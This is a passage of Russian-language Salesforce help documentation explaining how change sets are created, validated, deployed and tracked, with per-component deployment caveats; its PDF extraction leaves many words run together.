Список «Развертываемые подключения» содержит все подключения
Список «Развертываемые подключения» автоматически заполняется производственной организацией и всеми
безопасными средами. Развертывание может быть выполнено только между данными организациями.

Подключения набора изменений недоступны на время обслуживания
Авторизация развертываемых подключений и загрузка страниц требуют наличия сведений из производственной
организации, поэтомунедоступнывовремя ееобслуживания. Втечение этого временинаборыисходящихизменений
могут создаваться, но не могут загружаться.

Безопасные среды должны быть доступны
Если организация не использует безопасные среды, то страница «Развертываемые подключения» может отображать
ошибку «Недостаточно полномочий».

Развертывание не перезапускается автоматически
При возникновении ошибки во время проверки или развертывания набора изменений процесс должен быть
перезапущенвручную. Убедитесь, чтоорганизацияне заблокирована, необслуживаетсяилине являетсянедоступной.

Развертывание является односторонней транзакцией
Наборизмененийразвертываетсяпосредствомоднойтранзакции. Неудачноевыполнениеразвертыванияинициирует
откат всей транзакции. Успешное выполнение развертывания инициирует отправку всех изменений в организацию,
поэтому откат развертывания невозможен.

Развертывания сохраняют ссылки пользователей

Если компонент набора изменений ссылается на конкретного пользователя (например, получатели электронных
уведомлений бизнес-правил или текущие пользователи панелей мониторинга), то при развертывании система
предпринимаетпопыткиобнаружениясоответствующегопользователявцелевойорганизациипутемсопоставления
имен пользователей.
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При копировании данных в безопасную среду поля, содержащие имена пользователей из производственной
организации, дополняютсяименембезопаснойсреды. Например, имяпользователя user@acme.com соответствует
имени user@acme.com.test в безопасной среде test. Компонент имени пользователя .test пропускается
при выполнении развертывания посредством наборов изменений. Данный процесс переносит пользователя,
добавленноговкомпонентоднойбезопаснойсреды, вдругиебезопасныесредыилипроизводственныеорганизации.

Изменение наборов с большим количеством зависимых компонентов
Открытие набора изменений в Salesforce может занять несколько минут, если он содержит компонент с большим
количеством зависимостей или если родительский компонент этого компонента содержит много зависимостей.
Задержка связана с тем, что Salesforce проверяет зависимости компонентов перед отображением страницы набора
изменений. Примеркомпонента смножествомзависимостей — настраиваемоеполе, принадлежащеенастраиваемому
объекту с 2500 зависимыми компонентами.

СМ. ТАКЖЕ:

Рекомендации по использованию наборов изменений

Особый алгоритм в развертываниях

Рекомендации по использованию наборов изменений
Развертывание всех зависимых компонентов

Убедитесь, чтокаждыйнаборисходящихизмененийсодержитвсевзаимосвязанныекомпоненты, которыеотсутствуют
в целевой организации. При развертывании компонента, ссылающегося на другой компонент, который отсутствует
в целевой организации и наборе изменений, возникает ошибка.

Наборы изменений предоставляют пользователям точный контроль над развертыванием. Например, пользователи
могутпереноситьотдельныенастраиваемыеполя. Чтобыразвернутьнастраиваемыйобъективсе егополя, рекомендуем
добавить настраиваемый объект и каждое поле в набор изменений; добавление только настраиваемого объекта не
инициирует ошибки развертывания, но приводит к пустому настраиваемому объекту.

Добавление полномочий и параметров доступа в наборы исходящих изменений
Добавление профилей или наборов полномочий в наборы исходящих изменений позволяет администраторам
переносить полномочия для предоставления пользователям доступа к новымфункциям. Наборы полномочий и
параметры профиля, используемые в наборах изменений, существенно отличаются друг от друга. Дополнительную
информацию см. в разделе «Общие сведения о наборах полномочий и параметрах профиля в наборах изменений»
на странице 5906.

Клонирование набора изменений для добавления зависимых компонентов в загруженный набор изменений
Содержимое загруженного набора изменений не может быть изменено. Чтобы добавить зависимые компоненты в
загруженный набор изменений, рекомендуем клонировать набор изменений, добавить зависимые компоненты и
выполнить его повторную загрузку.

Использование уникальных имен для глобальных макетов публикатора и макетов публикатора Outlook
При добавлении макетов страниц в набор исходящих изменений тип глобальных макетов публикатора и макетов
публикатора Outlook не отображается. Убедитесь, что глобальные макеты публикатора и макеты публикатора Outlook
используют уникальные имена, позволяющие различать макеты в наборе исходящих изменений.

Планирование развертываний относительно графика обслуживания системы
При планировании развертывания рекомендуем учитывать график обслуживания системы для производственной и
безопасной организаций. Некоторыефункции, просматриваемые посредством безопасной среды, требуют наличия
сведений из производственной организации. Кроме того, исходная организация блокируется при проверке набора
исходящих изменений, а целевая организация блокируется при развертывании набора входящих изменений.
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(Организация, заблокированнаянаборамиизменений, позволяетпользователямпросматриватьи записыватьданные,
но не поддерживает изменение настроек, влияющих на метаданные.)

Проверка наборов изменений перед развертыванием
Пробное развертывание набора входящих изменений позволяет пользователям просматривать сообщения об
успешном или неудачном выполнении, отправляемые прифактическом развертывании. Рекомендуем использовать
данный алгоритм при планировании развертывания по расписанию (например, в непиковые часы работы), а также
дляопределениявероятностипреждевременногоразвертывания. Темнеменее, пробноеразвертывание, занимающее
некоторое время и блокирующее организацию, является необязательным. (Организация позволяет пользователям
просматривать и записывать данные, но не поддерживает изменение настроек, влияющих на метаданные.) Чтобы
выполнить пробное развертывание набора входящих изменений, щелкните нужное имя и нажмите кнопку
«Проверить».

Просмотр сведений о компоненте
XML-представление компонента может быть просмотрено после загрузки набора исходящих изменений или перед
развертыванием набора входящих изменений.

Ограничение наборов изменений до 10 000 файлов
Наборы изменений могут содержать не более 10 000 файлов. Если набор изменений не соответствует данному
ограничению, то пользователь может создать отдельные наборы изменений для шаблонов эл. почты, панелей
мониторинга и отчетов. Как правило, данные компоненты являются более многочисленными и содержат меньше
зависимостей.

Удаление или переименование компонентов посредством веб-интерфейса
Наборы изменений не могут использоваться для удаления или переименования компонентов. Чтобы удалить
компоненты, рекомендуем использовать веб-интерфейс целевой организации. Чтобы переименовать компонент,
рекомендуем удалить компонент из целевой организации и загрузить новый компонент в набор изменений.

Учет возможного увеличения времени развертывания при изменениях типов полей в наборе изменений
Если набор изменений содержит изменения для типов настраиваемых полей, то время развертывания может быть
значительноувеличено, таккакизменениятиповнастраиваемыхполеймогуттребоватьизменениябольшогоколичества
записей. Чтобыизбежатьувеличениявремениразвертывания, рекомендуемприменятьизменениетипаполявручную
после развертывания набора изменений.

Планирование выполнения тестов в целевой организации
Развертываниенабора изменений впроизводственнойорганизацииинициирует выполнение всех доступных тестов
Apex, независимоотналичияклассовилитестов внабореизменений. Еслицелевойорганизациейявляетсябезопасная
среда, то тесты не выполняются автоматически.

СМ. ТАКЖЕ:

Советы по внедрению наборов изменений

Особый алгоритм в развертываниях
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Развертывание входящих изменений

Наборы входящих изменений

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для развертывания наборов
входящих изменений:
• «Развертывание наборов

изменений»

Набор входящих изменений — это набор изменений, отправленный другой организацией
в текущую организацию. Изменения вступают в силу после развертывания набора
изменений. Пользователимогутразворачиватьсодержимоенаборавходящихизменений
как единое целое, но не как отдельные компоненты.

СМ. ТАКЖЕ:

Просмотр наборов входящих изменений

Наборы исходящих изменений

Наборы изменений

Просмотр наборов входящих изменений
Страница «Наборы входящих изменений» содержит наборы изменений, ожидающие развертывания, а также журнал
развернутых наборов изменений. Чтобы просмотреть входящие наборы изменений, введите строку «Входящие наборы
изменений» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Входящие наборы изменений».

Прим.: Наборы входящих изменений безвозвратно удаляются через шесть месяцев после их загрузки.

СМ. ТАКЖЕ:

Просмотр сведений о наборе изменений

Проверка набора изменений

Развертывание набора изменений

Просмотр сведений о наборе изменений
Страница сведений о наборе изменений содержит сведения об отдельном наборе изменений.

1. Введите строку «Входящие наборы изменений» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт
«Входящие наборы изменений».

2. Щелкните имя нужного набора изменений.

СМ. ТАКЖЕ:

Просмотр наборов входящих изменений

Проверка набора изменений

Развертывание набора изменений

Проверка набора изменений
Набор изменений может быть проверен без развертывания изменений. Проверка набора изменений позволяет
пользователям просматривать сообщения об успешном или неудачном выполнении, отправляемые при фактическом
развертывании.
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1. Введите строку «Входящие наборы изменений» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт
«Входящие наборы изменений».

2. Щелкните имя нужного набора изменений.

3. Нажмите кнопку «Проверить».

Прим.: Организация не может быть изменена во время пробного развертывания.

4. После завершения проверки нажмите кнопку «Просмотр результатов».

Проверенные наборы изменений могут использоваться для быстрого развертывания. Дополнительную информацию
см. в подразделе «Быстрые развертывания».

СМ. ТАКЖЕ:

Просмотр наборов входящих изменений

Просмотр сведений о наборе изменений

Развертывание набора изменений

Развертывание набора изменений
Чтобы развернуть набор изменений, выполните указанные ниже действия.

1. Введите строку «Входящие наборы изменений» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт
«Входящие наборы изменений».

2. Щелкните имя нужного набора изменений в списке «Наборы изменений, ожидающие развертывания».

3. Нажмите кнопку «Развернуть».

При необходимости выполните быстрое развертывание для сокращения времени развертывания в производственной
среде. Проверенныенаборыизменениймогутиспользоватьсядлябыстрогоразвертывания. Дополнительнуюинформацию
см. в подразделе «Быстрые развертывания».

Набор изменений развертывается посредством одной транзакции. Неудачное выполнение развертывания инициирует
откат всей транзакции. Успешное выполнение развертывания инициирует отправку всех изменений в организацию,
поэтому откат развертывания невозможен.

Прим.: Преждечемразвернуть код впроизводственнойорганизации, убедитесь, чтопоблочные тестыохватывают
не менее 75% кода на платформе Force.com. По возможности покрытие должно составлять 100%. Ограничение по
покрытию кода не действует в безопасных средах и организациях Developer Edition.

СМ. ТАКЖЕ:

Просмотр наборов входящих изменений

Просмотр сведений о наборе изменений

Особый алгоритм в развертываниях

Отслеживание развертываний наборов изменений

Отслеживание развертываний наборов изменений
Время, необходимое для развертывания набора изменений, определяется его размером и сложностью. Весь процесс
развертыванияможетотслеживатьсяпользователями. Чтобыотследитьстатусвыполняемыхразвертываний, воспользуйтесь
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страницей «Статус развертывания». Введите строку «Состояние развертывания» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Состояние развертывания». Кроме того, страница «Статус развертывания» позволяет
просматривать выполненные развертывания.

При необходимости просмотрите выполненные развертывания на странице «Сведения о наборе изменений». Чтобы
открытьданнуюстраницу, введите «Наборы входящих изменений» вполе «Быстрый поиск», выберите«Наборывходящих
изменений» в меню «Настройка» ищелкните имя нужного развернутого набора изменений. Развертывания набора
изменений отображаются в разделе «Журнал развертывания».

СМ. ТАКЖЕ:

Развертывание набора изменений

Подключения и параметры развертывания

Отслеживание развертываний

Загрузка исходящих изменений

Наборы исходящих изменений

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования или
загрузкинаборовисходящих
изменений:
• «Создание и загрузка

наборов изменений»

Набор исходящих изменений — это набор изменений, созданный в текущей организации
дляотправкивдругуюорганизацию. Обычнонаборисходящихизмененийиспользуется
длянастроек, созданныхипротестированныхвбезопаснойсреде, а затемотправленных
в производственную организацию.

Прим.: Наборыизменениймогут содержатьнеболее10 000 файлов; общийразмер
файла не может превышать 400 МБ. Компоненты наборов данных отображаются
в системе как XML-файлы метаданных. Убедитесь, что набор изменений содержит
не более 5 000 компонентов.

Отправка набора исходящих изменений в другую организацию не гарантирует их
применения в данной организации. Прежде чем изменения вступят в силу, набор
изменений должен быть развернут целевой организацией.

Совет: Для беспрепятственного развертывания ознакомьтесь с информацией о наборах разрешенийипараметрах
профиля в наборах изменений.

СМ. ТАКЖЕ:

Выбор компонентов для набора исходящих изменений

Создание набора исходящих изменений

Общие сведения о наборах полномочий и параметрах профиля в наборах изменений

Наборы входящих изменений

Наборы изменений

Выбор компонентов для набора исходящих изменений
Чтобы выбрать компоненты в наборе исходящих изменений, выполните указанные ниже действия.

1. Введите строку «Исходящие наборы изменений» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт
«Исходящие наборы изменений».
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2. Щелкните имя нужного набора изменений или создайте набор в списке «Наборы изменений».

3. Чтобы добавить компоненты, нажмите кнопку «Добавить».

4. Выберите тип компонента и нужные компоненты, а затем нажмите кнопку «Добавить в набор изменений».

5. Чтобы добавить параметры профиля в набор изменений, нажмите кнопку «Добавить профили».

Прим.: Версия Professional Edition не позволяет добавлять параметры профиля в набор изменений.

6. Чтобы добавить зависимые компоненты, нажмите кнопку «Просмотр и добавление зависимостей».

Прим.: Наличие одних зависимых компонентов определяется наличием других компонентов. Рекомендуем
добавлять зависимые компоненты в набор изменений только при условии их отсутствия в соответствующих
организациях.

СМ. ТАКЖЕ:

Создание набора исходящих изменений

Просмотр и добавление зависимых компонентов в набор изменений

Компоненты, доступные в наборах изменений

Просмотр и добавление зависимых компонентов в набор изменений
Зависимость — это взаимосвязь, содержащая как минимум один компонент, наличие которого требуется для наличия
другогокомпонента. Рекомендуемдобавлять зависимыекомпонентывнаборизмененийтолькоприусловииихотсутствия
в соответствующих организациях.

Чтобы добавить зависимые компоненты в набор исходящих изменений, выполните указанные ниже действия.

1. Введите строку «Исходящие наборы изменений» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт
«Исходящие наборы изменений».

2. Щелкните имя нужного набора изменений в списке «Наборы изменений».

3. Нажмите кнопку «Просмотр и добавление зависимостей».

4. Выберите нужные зависимые компоненты на странице «Зависимости компонента» и нажмите кнопку «Добавить в
набор изменений».

Внимание: Если набор изменений содержит более 2 500 зависимостей, то страница просмотра зависимостей
отображает только первые 2 500.

СМ. ТАКЖЕ:

Выбор компонентов для набора исходящих изменений

Загрузка набора исходящих изменений

Компоненты, доступные в наборах изменений

Загрузка набора исходящих изменений
Набор изменений, содержащий все необходимые компоненты, может быть загружен в другую организацию. Обратите
внимание, что загруженный набор изменений недоступен для редактирования или отзыва.

1. Введите строку «Исходящие наборы изменений» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт
«Исходящие наборы изменений».
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2. Щелкните имя нужного набора изменений.

3. Выберите нужную организацию.

4. Нажмите кнопку «Загрузить».

Прим.: Наборы исходящих изменений безвозвратно удаляются через шесть месяцев после их загрузки.

СМ. ТАКЖЕ:

Загрузка наборов изменений во время обновления сервера

Создание набора исходящих изменений

Создание набора исходящих изменений
Набор исходящих изменений — это набор изменений, созданный в текущей организации для отправки в другую
организацию. Чтобыпросматриватьнаборыисходящихизменений, введитестроку «Наборы исходящих изменений» вполе
«Быстрый поиск» в меню «Настройка», затем выберите пункт «Наборы исходящих изменений».

• Чтобы создать набор изменений, нажмите кнопку «Создать».

• Чтобы просмотреть сведения о текущем наборе изменений, щелкните имя нужного набора.

СМ. ТАКЖЕ:

Клонирование набора исходящих изменений

Ошибки проверки наборов исходящих изменений

Клонирование набора исходящих изменений
Чтобы создать полную копию текущего набора изменений, воспользуйтесь функцией клонирования.

1. Введите строку «Исходящие наборы изменений» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт
«Исходящие наборы изменений».

2. Щелкните имя нужного набора изменений.

3. Нажмите кнопку «Клонировать».

СМ. ТАКЖЕ:

Создание набора исходящих изменений

Удаление набора исходящих изменений
Чтобы удалить набор исходящих изменений, выполните указанные ниже действия.

1. Введите строку «Исходящие наборы изменений» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт
«Исходящие наборы изменений».

2. Щелкните имя нужного набора изменений.

3. Нажмите кнопку «Удалить».

СМ. ТАКЖЕ:

Создание набора исходящих изменений
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Ошибки проверки наборов исходящих изменений
Ошибка, возникающаяприперекрестнойпроверке, указывает, чтоорганизация, выбраннаядлясозданиянабораисходящих
изменений, иорганизация, принимающаянаборизменений, используютразныеверсииплатформы. Какправило, данная
ошибка возникает во время обновлений, так как организации могут обновляться в разное время. При возникновении
данной ошибки система позволяет разворачивать только компоненты, поддерживаемые обеими версиями.

СМ. ТАКЖЕ:

Создание набора исходящих изменений

Загрузка набора исходящих изменений

Загрузка наборов изменений во время обновления сервера
Во время обновления сервера производственная и безопасная среды должны использовать разные версии платформы.
Некоторыекомпонентымогутсодержатьновыефункцииилидругиеизменения, препятствующиеразвертываниюданного
типа компонента до тех пор, пока производственная организация и безопасная среда не будут использовать разные
версии.

При загрузке набора изменений, содержащего компоненты, которые не могут быть развернуты ввиду несовместимости
с предыдущей версией, система определяет данные компоненты и предоставляет пользователю возможность загрузки
оставшихся компонентов.

СМ. ТАКЖЕ:

Загрузка набора исходящих изменений

Особый алгоритм в развертываниях

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Прежде чем развернуть изменения в организации, определите алгоритмы отдельных
компонентов, необходимые для успешного развертывания всех нужных изменений.
Приведенные ниже сведения позволяют определять изменения, которые должны быть
добавлены в развертывание, а также способ их отображения в целевой организации.

Алгоритмы, перечисленные в разделе «Metadata API», применяются только при
использовании Force.com Migration Tool или Force.com IDE.

Компоненты набора изменений
Процессы утверждения

• Еслистраницаутверждениясодержитнастраиваемыеполястандартныхобъектов,
то данные настраиваемые поля должны быть вручную добавлены в наборы
исходящих изменений. Данные поля не добавляются параметром «Просмотр
и добавление зависимостей» для выбора компонентов набора изменений.

• Еслипроцесс утвержденияссылаетсяналюбыешаблонысообщения, содержащиенастраиваемыеполя, тоданные
шаблонысообщениямогутбытьдобавленывнаборизмененийтолькопослеихповторногосохранениявисходной
организации. В разделе «Настройка» введите «Шаблоны сообщений» в поле «Быстрый поиск», затем выберите
«Шаблонысообщений». Щелкнитессылку«Правка»напротивкаждогошаблонасообщенияинажмитекнопку
«Сохранить».
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• Наборыизмененийнеподдерживаютпорядокотображенияактивныхпроцессовутверждения, заданныйвисходной
организации. Принеобходимостиизменитепорядокотображенияразвернутыхпроцессов утверждениявцелевой
организации.

• Изменение поля «Уникальное имя» процесса утверждения, добавленного в набор изменений и развернутого в
другой организации, и повторная отправка процесса утверждения посредством набора изменений инициируют
создание процесса утверждения при развертывании в другой организации. Процесс утверждения, развернутый
ранее, не будет изменен.

Классы Apex и триггеры Apex
По умолчаниюизменения, внесенные в код Apex, содержащий отложенные или выполняемые задания Apex, не могут
быть развернуты. Чтобы развернуть данные изменения, выполните одно из указанных ниже действий.

• ПреждечемразвернутьизменениявкодеApex, отменитезаданияApex. Заданиямогутбыть запланированыповторно
после развертывания.

• Включите развертывания с заданиями Apex в пользовательском интерфейсе Salesforce на странице «Параметры
развертывания».

Настраиваемые поля

• Пользователи не могут изменять тип данных настраиваемого поля посредствомMetadata API. Данное изменение
должно быть выполнено в целевой организации вручную посредством пользовательского интерфейса.

Настраиваемые объекты
Пользователи, использующие API 29.0 или более ранней версии, не могут изменять sharingModel объекта
посредствомMetadata API. Данное изменение должно быть выполнено в целевой организации вручнуюпосредством
пользовательского интерфейса.

Пользователи, использующие API 30.0 или более поздней версии, могут изменять sharingModel объекта для
внутренних пользователей посредствомMetadata API и пользовательского интерфейса.

Система не поддерживает одновременное обновление поля sharingModel для объекта и добавление нового
правила общего доступа.

Потоки

• Чтобы развернуть поток посредством наборов изменений, рекомендуем просмотреть ограничения по миграции.
Убедитесь, что потоки ссылаются только на поля и компоненты, доступные в наборах изменений.

• Набор изменений может содержать только одну версию потока.

• Если при загрузке набора исходящих изменений отсутствует активная версия потока, то используется последняя
неактивная версия.

• При просмотре зависимых компонентов для набора изменений страница «Зависимости компонента» содержит
зависимости для всех версий потока. Все взаимозависимые компоненты для соответствующей версии потока
должны быть добавлены в набор исходящих изменений.

• Активныйпоток в наборе измененийразвертывается в целевой организации как неактивный. Поток должен быть
активирован вручную после развертывания.

• Первоначальное или повторное развертывание потока посредством наборов изменений инициирует создание
версии потока в целевой организации.

Именованные регистрационные данные

The following callout options for named credentials can be set only via the user interface. If the default values aren’t appropriate in
the destination organization, the admin for that organization must manually configure the named credential after deployment.

• Generate Authorization Header—Default: Включено

• Allow Merge Fields in HTTP Header—Default: Disabled
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• Allow Merge Fields in HTTP Body—Default: Disabled

Полномочия
См. раздел «Общие сведения о наборах полномочий и параметрах профиля в наборах изменений» на странице 5906.

Макет страницы
Развертывание, содержащее профиль и тип записи, но не назначенный макет страницы для данного типа записи,
удаляет текущее назначение макета из профиля для данного типа записи. Рекомендуем всегда добавлять все макеты
страниц для всех обязательных типов записей в набор изменений.

Metadata API
Классы Apex и триггеры Apex

По умолчаниюизменения, внесенные в код Apex, содержащий отложенные или выполняемые задания Apex, не могут
быть развернуты. Чтобы развернуть данные изменения, выполните одно из указанных ниже действий.

• ПреждечемразвернутьизменениявкодеApex, отменитезаданияApex. Заданиямогутбыть запланированыповторно
после развертывания.

• Включите развертывания с заданиями Apex в пользовательском интерфейсе Salesforce на странице «Параметры
развертывания».

Процессы утверждения

• Чтобыиспользоватьпроцессыутверждениядля статей Salesforce KnowledgeпосредствомMetadata API, рекомендуем
развернуть тип статьи. Версия статьи (_kav) поддерживает в процессах утверждения следующие типы действий:
«Действие базы знаний», «Электронное предупреждение», «Обновление поля» и «Исходящее сообщение».

• Еслипроцесс утвержденияссылаетсяналюбыешаблонысообщения, содержащиенастраиваемыеполя, тоданные
шаблонысообщениямогутбытьдобавленывнаборизмененийтолькопослеихповторногосохранениявисходной
организации. В разделе «Настройка» введите «Шаблоны сообщений» в поле «Быстрый поиск», затем выберите
«Шаблонысообщений». Щелкнитессылку«Правка»напротивкаждогошаблонасообщенияинажмитекнопку
«Сохранить».

• Метаданные не поддерживают порядок отображения активных процессов утверждения. При необходимости
измените порядок отображения развернутых процессов утверждения в целевой организации.

• Изменение поля «Уникальное имя» процесса утверждения, добавленного в набор изменений и развернутого в
другой организации, и повторная отправка процесса утверждения посредством набора изменений инициируют
создание процесса утверждения при развертывании в другой организации. Процесс утверждения, развернутый
ранее, не будет изменен.

Настраиваемые поля
При развертывании нового настраиваемого поля посредством API 30.0 или более поздней версии полям editable
и readable в полномочиях поля задается стандартное значение false. Чтобы переопределить стандартные
значения, дополните профили полномочиями для нового поля.

Настраиваемые объекты
Пользователи, использующиеAPI 29.0, немогутизменять sharingModel объектапосредствомMetadata API. Данное
изменение должно быть выполнено в целевой организации вручную посредством пользовательского интерфейса.

Пользователи, использующие API 30.0 или более поздней версии, могут изменять sharingModel объекта для
внутренних пользователей посредствомMetadata API и пользовательского интерфейса.

Связанное приложение

• Пользователи не могут задавать consumerKey посредствомMetadata API. Данный параметр добавляется в
операцию извлечения для информационных целей. Чтобы переместить связанное приложение в другую
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организацию, рекомендуем удалить параметр consumerKey из архивного файла перед выполнением
развертывания в организации. Новый ключ будет создан в целевой организации.

• Мобильные параметры связанных приложений не поддерживаются наборами изменений и должны быть
перенесены вручную.

Именованные регистрационные данные

The following callout options for named credentials can be set only via the user interface. If the default values aren’t appropriate in
the destination organization, the admin for that organization must manually configure the named credential after deployment.

• Generate Authorization Header—Default: Включено

• Allow Merge Fields in HTTP Header—Default: Disabled

• Allow Merge Fields in HTTP Body—Default: Disabled

Макет страницы
Развертывание, содержащееназначениямакета страницы, заменяет все текущиеназначениямакета страницывцелевой
организации назначениями, доступными в архивномфайле. Текущие макеты страниц, отсутствующие в архивном
файле, удаляются из организации. Рекомендуем всегда добавлять все макеты страниц для всех обязательных типов
записей в архивныйфайл.

Профили
Если пакет содержит профиль, имя которого отсутствует в целевой организации, то данное имя используется для
создания нового профиля. Если развернутый профиль не определяет полномочия или параметры, то итоговый
профиль содержит все полномочия и параметры стандартного профиля.

Общий доступ

• Система не поддерживает одновременное обновление поля sharingModel для объекта и добавление нового
правилаобщегодоступапосредствомMetadata API, независимоотобновляемогообъекта. Например, пользователь
можетдобавитьправилообщегодоступа, еслиединомустандартномупараметрузаданозначение «Общедоступный»,
а затем обновить поле sharingModel. Данный алгоритм инициирует разовый пересчет общего доступа.

• Приразвертываниинабораизменений, содержащегонастраиваемыйобъект, которыйиспользуетиерархическую
взаимосвязьбезполявзаимосвязи «Основная — подробная» в томженабореизменений, можетвозникнутьошибка.
Чтобы устранить данную ошибку, добавьте настраиваемое поле взаимосвязи «Основная — подробная» в набор
изменений, даже при отсутствии изменений в единых стандартных параметрах.

Бизнес-правило
Metadata APIнеподдерживаетрежимтестированиядлятриггеровпотока. Чтобыразрешитьтриггерупотокавыполнение
последнейверсиипотокапризапускебизнес-правила администратором, рекомендуемвключитьрежимтестирования
посредством пользовательского интерфейса после развертывания.

СМ. ТАКЖЕ:

Развертывание набора изменений

Наборы изменений

Компоненты, доступные в наборах изменений

https://developer.salesforce.com/docs/atlas.en-us.api_meta.meta/api_meta/file_based_zip_file.htm
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Отслеживание развертываний

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
развертываний метаданных:
• «Изменение всех

данных»

Страница «Статусразвертывания» позволяетотслеживать выполняемыеразвертывания,
проверять отложенные развертывания и просматривать результаты выполненных
развертываний. Данная страница содержит все развертывания (наборы изменений и
развертываниянаосновеMetadata API), включаяразвертывания, запущенныепосредством
Force.com IDE и Force.com Migration Tool.

Время развертывания определяется размером и сложностью компонентов метаданных.
Чтобы отследить статус развертываний, которые выполняются или выполнены за
последние 30 дней, введите строку «Статус развертывания» в поле «Быстрый поиск» в
меню «Настройка», затемвыберитепункт«Статусразвертывания». Раздел, содержащий
развертывание, определяется его статусом.

Выполняемые и отложенные развертывания
Страница «Статус развертывания» позволяет просматривать ход выполнения текущего
развертывания в режиме реального времени. Данная страница содержит диаграммы,
позволяющиенаглядно просматривать общий ход выполнения развертывания. Первая
диаграмма отображает количество развернутых компонентов из общего количества, а
также количество компонентов с ошибками. Например, диаграмма ниже информирует
об успешной обработке 302 из 450 компонентов, при этом 45 компонентов содержат
ошибки.

При необходимости тесты Apex могут быть выполнены после успешного развертывания всех компонентов. Вторая
диаграмма отображает количество выполненных тестов Apex из общего количества, а также количество возвращенных
ошибок. Кроме того, диаграмма отображает имя выполняемого теста. Например, диаграмма ниже информирует об
успешном выполнении 77 из 120 тестов, при этом 1 тест содержит ошибки.

Ниже перечислены сведения, отображаемые для текущего развертывания.
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ОписаниеПоле

Имя или уникальный идентификатор набора изменений, используемый для отслеживания
развертыванияMetadata API. При использовании развертыванияMetadata API данное значение
возвращается вызовом deploy().

Имя

Тип развертывания: «Набор изменений» или «Интерфейс API».Тип

Имя пользователя, выполняющего развертывание.Развернул

Датаи времяначалафактическогоразвертываниябез временинахождения запроса вочереди. Данное
поле содержит время назначения полю развертывания «Статус» значения «Выполняется».

Время начала

Дата и время завершения проверки развертывания.Проверено

Чтобы просмотреть ошибки до завершения текущего развертывания, щелкните «Просмотр ошибок».

Отложенные развертывания

Пользователи могут запускать множество развертываний. Одновременно разрешается выполнять только одно
развертывание. Другие развертывания будут находиться в очереди и дожидаться завершения текущего развертывания.
Отложенные развертывания отображаются в разделе «Отложенные развертывания» в порядке их выполнения.

Проверки развертывания

Проверкаразвертывания — эторазвертывание, используемоетолькодляпроверкирезультатовразвертываниякомпонентов
и подлежащее отмене. Проверка не поддерживает сохранение развернутых компонентов или изменение организации.
Чтобыопределить статусразвертывания: толькопроверка («Проверить») илифактическоеразвертывание («Развернуть»),
просмотрите сведения для отложенных развертываний или столбец «Статус» в разделах «Сбой» и «Успешно».

При успешном завершении проверки за последние четыре дня и выполнении всех тестов с достаточным покрытием
кода система позволяет выполнить быстрое развертывание путем развертывания данной проверки в производственной
среде без выполнения тестов. См. «Быстрые развертывания».

Отмена развертывания
Чтобы отменить выполняемое или отложенное развертывание, щелкните ссылку «Отмена» напротив нужного
развертывания. Развертыванию назначается статус «Запрошена отмена», который отображается до полной отмены
развертывания. Отмененное развертывание отображается в разделе «Сбой».

Выполненные развертывания
Раздел («Сбой» или «Успешно»), содержащий выполненные развертывания, определяется их статусом.

Неудачные и отмененные развертывания отображаются в разделе «Сбой». Изменения не передаются в организацию
ввиду отсутствия файлов, наличия ошибок в компонентах, неудачного выполнения тестов или отмены развертывания.

Развертывания, выполненные полностью или частично, отображаются в разделе «Успешно». Частичное выполнение
допускается только для развертываний в непроизводственных организациях. Частично успешными считаются
развертывания, поле rollbackOnError которых содержит значение false, а набор компонентов содержит ошибки.
При частично успешном развертывании передаются все компоненты, кроме необработанных.

Чтобыпросмотреть подробные сведения о развертывании, щелкните ссылку «Просмотрсведений»напротив нужного
развертывания. Страница «Сведения о развертывании» позволяет просматривать ошибки и устранять неполадки для
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неудачногоиличастичноуспешногоразвертывания. Данная страница содержит сообщенияобошибках, обнаруженных
во время развертывания, ошибки для тестов Apex со сведениями о трассировке стека, предупреждения о покрытии кода
и сведения о медленных тестах. При успешном развертывании данная страница содержит сведения о развертывании,
включая количество развернутых компонентов и количество выполненных тестов Apex.

Статус развертывания

Разделы «Сбой» и «Успешно» содержат столбец «Статус», отображающий тип и статус выполненного развертывания,
который состоит из двух частей:

• Префикс, определяющийобщийстатусразвертывания: толькопроверка («Проверить:») илифактическоеразвертывание
(«Развернуть:»).

• Суффикс, уточняющий статус развертывания: «Сбой» или «Отменено» для неудачных развертываний, «Успешно»
для успешных развертываний и «Частично успешно» для частично успешных развертываний.

Быстрые развертывания
При развертывании все тесты Apex выполняются в производственной среде. Если производственная организация
использует большое количество тестов Apex, то выполнение всех тестов может занять некоторое время и отложить
развертывание. Чтобысократитьвремяразвертываниявпроизводственнойсреде, воспользуйтесьбыстрымразвертыванием,
позволяющим пропускать выполнение всех тестов. Быстрые развертывания доступны для наборов изменений и
компонентов Metadata API при выполнении указанных ниже требований.

• Успешное завершение проверки компонентов для целевой среды в течение последних четырех дней (96 часов).

• Выполнение всех тестов Apex в целевой организации при проверке.

• Общее покрытие кода организации не менее 75% и наличие триггеров Apex, охваченных некоторым покрытием.

Проверка — это развертывание, используемое только для проверки результатов развертывания компонентов и
препятствующеесохранениюкомпонентовворганизации. Проверкапозволяетпользователямпросматриватьсообщения
обуспешномилинеудачномвыполнении, отправляемыеприфактическомразвертывании. Принеобходимостипроверьте
наборы изменений или компоненты метаданных посредством API или Force.com Migration Tool.

Дополнительную информацию о порядке проверки набора изменений см. в разделе «Проверка набора изменений»
справки Salesforce.

Чтобы проверить компоненты посредством Force.com Migration Tool, задайте параметру checkOnly значение true в
цели развертывания. См. раздел «Развертывание изменений в организации Salesforce» Руководства Force.com Migration Tool.

